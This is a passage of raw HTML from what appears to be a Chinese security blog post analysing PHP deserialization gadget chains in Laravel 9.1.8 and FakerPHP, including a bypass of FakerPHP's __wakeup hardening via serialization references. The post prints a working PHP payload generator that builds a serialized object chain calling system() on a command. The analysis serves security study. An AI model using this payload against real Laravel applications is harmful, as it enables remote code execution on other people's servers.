255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="font-size: 20px;">正文</span><br/></p><p><em><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;font-size: 14px;">Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。</span></em></p><p><em><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;font-size: 14px;">该框架中存在一些反序列化的问题。</span></em></p><p><br/></p><p><span style="font-size: 14px;color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">利用链的入口点为</span><span style="font-size: 14px;color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">src/Illuminate/Broadcasting/PendingBroadcast.php</span><span style="font-size: 14px;"> ，查看其__destruct()</span><span style="font-size: 14px;color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;"> 方法：</span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">namespace Illuminate\Broadcasting;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">use Illuminate\Contracts\Events\Dispatcher;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">class PendingBroadcast</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    protected $events;</span></code><code><span class="code-snippet_outer">    protected $event;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    public function __construct(Dispatcher $events, $event)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        $this-&gt;event = $event;</span></code><code><span class="code-snippet_outer">        $this-&gt;events = $events;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    public function __destruct()</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        $this-&gt;events-&gt;dispatch($this-&gt;event);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 14px;color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">逻辑很清晰，</span><span style="font-size: 14px;">event与events可控，我们需要找到一个可利用的dispatch或call方法。</span><br/></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D1md-1656914272167&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yblf-1656914272165&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;逻辑很清晰，&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;event与events可控，我们需要找到一个可利用的dispatch或call方法。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynaV-1656914720299&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Rc4p-1656914720297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其中存在一条 &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;src/Faker/Generator.php &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:12},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;利用链：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="font-size: 14px;"><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">其中存在一条 </span><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">src/Faker/Generator.php </span><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">利用链：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"> ......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public function format($format, $arguments = [])</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    return call_user_func_array($this-&gt;getFormatter($format), $arguments);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        .......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public function getFormatter($format)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    if (isset($this-&gt;formatters[$format])) {</span></code><code><span class="code-snippet_outer">        return $this-&gt;formatters[$format];</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    if (method_exists($this, $format)) {</span></code><code><span class="code-snippet_outer">        $this-&gt;formatters[$format] = [$this, $format];</span></code><code><span class="code-snippet_outer">        return $this-&gt;formatters[$format];</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    foreach ($this-&gt;providers as $provider) {</span></code><code><span class="code-snippet_outer">        if (method_exists($provider, $format)) {</span></code><code><span class="code-snippet_outer">            $this-&gt;formatters[$format] = [$provider, $format];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            return $this-&gt;formatters[$format];</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    throw new \InvalidArgumentException(sprintf(&#39;Unknown format &#34;%s&#34;&#39;, $format));</span></code><code><span class="code-snippet_outer">}        </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public function __get($attribute)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    trigger_deprecation(&#39;fakerphp/faker&#39;, &#39;1.14&#39;, &#39;Accessing property &#34;%s&#34; is deprecated, use &#34;%s()&#34; instead.&#39;, $attribute, $attribute);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    return $this-&gt;format($attribute);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public function __call($method, $attributes)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    return $this-&gt;format($method, $attributes);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ......</span></code><code><span class="code-snippet_outer">   </span></code></pre></section><p><span style="font-size: 14px;color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">__call()</span><span style="font-size: 14px;">会调用format进行初始化，而其中调用了</span><span style="font-size: 14px;color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">call_user_func_array()</span><span style="font-size: 14px;">方法进行函数调用，而callback字段由</span><span style="font-size: 14px;color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">getFormatter()</span><span style="font-size: 14px;">控制，这段我们是可控的（截图用的是Laravel 9.1.8）：</span><span style="font-family: -webkit-standard;font-size: 14px;white-space: pre-wrap;"> </span><img class="rich_pages wxw-img" data-ratio="0.5576707726763718" style="font-size: 14px;white-space: pre-wrap;width: 761px;height: 424px;" data-type="png" data-w="1786" src="https://wechat2rss.xlab.app/img-proxy/?k=ddaf3c6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr789yDVv0hmEzpqZiasLUdbQhcOE6ibKjT44pHknSq25XfHahGjcZE3tbK00g8MNQjIGOScRYHxTlTQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">构造payload：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">namespace Faker;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">class Generator</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    protected $formatters = array();</span></code><code><span class="code-snippet_outer">    public function __construct($xx)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        $this-&gt;formatters = [&#39;dispatch&#39;=&gt;$xx];</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">namespace Illuminate\Broadcasting;</span></code><code><span class="code-snippet_outer">use Faker\Generator;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">class PendingBroadcast{</span></code><code><span class="code-snippet_outer">    public $events;</span></code><code><span class="code-snippet_outer">    public $event;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    public function __construct($xx)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        $this-&gt;events = new  Generator($xx);</span></code><code><span class="code-snippet_outer">        $this-&gt;event = &#34;/System/Applications/Calculator.app/Contents/MacOS/Calculator&#34;;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">echo base64_encode(serialize(new PendingBroadcast(&#39;system&#39;)));</span></code><code><span class="code-snippet_outer">?&gt;</span></code></pre></section><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">但FakerPHP zai1v1.12.1之后对这条链做了加固，在<span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">Generator.php </span>的<span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;"> __wakeup() </span>方法中： </span><br/></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kW3C-1656914814230&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3II9-1656914814228&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;但FakerPHP v 1.12.1对这条链做了加固，在&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;Generator.php &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:12},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34; __wakeup() &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:12},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;方法中： &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#404040&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><img class="rich_pages wxw-img" data-ratio="0.6908690869086909" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 601px;height: 417px;" data-type="png" data-w="1818" src="https://wechat2rss.xlab.app/img-proxy/?k=f3afe37e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr789yDVv0hmEzpqZiasLUdbQZnmPoNbYpPM3Z8t8vlujUaInX6ZHrEayoKWp6gJalFUib2ETj0picUxA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">formatters</span>字段被置空，我们无法再调用任意函数。</span><br/></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jvB9-1656918299500&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pp7s-1656918299497&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;formatters&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:12},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;字段被置空，我们无法再调用任意函数。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><br/></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vqV3-1656918352386&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XcdJ-1656918352385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;于是在Laravel 9.1.8中出现了POP Chain3这条链，其实就是针对上述加固的绕过。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JLqd-1656919732887&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kBzG-1656919732885&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;利用的是php反序列化的reference特性：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U128-1656920466782&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ySMt-1656920466780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;njuK-1656920476458&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.phpinternalsbook.com/php5/classes_objects/serialization.html&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nj98-1656920476457&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.phpinternalsbook.com/php5/classes_objects/serialization.html&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E9xz-1656920476471&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">于是在Laravel 9.1.8中出现了POP Chain3这条链，其实就是针对上述加固的绕过。</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">利用的是php反序列化的reference特性：</span></p><p><span style="text-decoration: none;color: rgb(0, 56, 132);font-size: 14px;"><a href="https://www.phpinternalsbook.com/php5/classes_objects/serialization.html" target="_blank">https://www.phpinternalsbook.com/php5/classes_objects/serialization.html</a></span><span style="font-family: -webkit-standard;font-size: 14px;white-space: pre-wrap;">   </span><img class="rich_pages wxw-img" data-ratio="0.4431818181818182" style="font-size: 14px;white-space: pre-wrap;width: 761px;height: 337px;" data-type="png" data-w="2112" src="https://wechat2rss.xlab.app/img-proxy/?k=e32c742f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr789yDVv0hmEzpqZiasLUdbQRKu306fQibog9HqJfhrQaShbDsNAl8doSXKYfbg5ck5NcOibtpXFnhjg%2F640%3Fwx_fmt%3Dpng"/></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3fBL-1656920396043&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wbnq-1656920396041&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由inhann师傅提出的demo如下：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uTrY-1656920641134&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o8e8-1656920641132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;G5aA-1656920648114&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://inhann.top/2022/05/17/bypass_wakeup/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9SIN-1656920648113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://inhann.top/2022/05/17/bypass_wakeup/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hFz2-1656920648125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7WwT-1656918406764&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VJjy-1656918406762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于该特性的原因，使得两个序列化变量指向的值为同一个（听起来很像指针）。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bbPU-1656920784552&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ieWP-1656920784549&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;demo：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">由inhann师傅提出的demo如下：</span></p><p><span style="color: rgb(0, 56, 132);font-size: 14px;"><a href="https://inhann.top/2022/05/17/bypass_wakeup/" target="_blank">https://inhann.top/2022/05/17/bypass_wakeup/</a></span></p><p><span style="font-size: 14px;">由于该</span><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;font-size: 14px;"><span style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(199, 37, 78);color: rgb(199, 37, 78);font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;font-size: 14.399999618530273px;background-color: rgb(249, 242, 244);float: none;display: inline !important;">R:2</span></span><span style="font-size: 14px;">特性的原因，使得两个序列化变量指向的值为同一个（听起来很像指针）。</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">demo：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5392296718972895" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 410px;" data-type="png" data-w="2804" src="https://wechat2rss.xlab.app/img-proxy/?k=fb8805cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr789yDVv0hmEzpqZiasLUdbQeGzIzbbsdDAmuT0bbyORBIbkgry4mvOhNkSwKQX9zlsFavXbu76Wlw%2F640%3Fwx_fmt%3Dpng"/></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b3qU-1656920786397&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h6CF-1656920786395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;demo1变量值的变化同样会影响到demo2。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 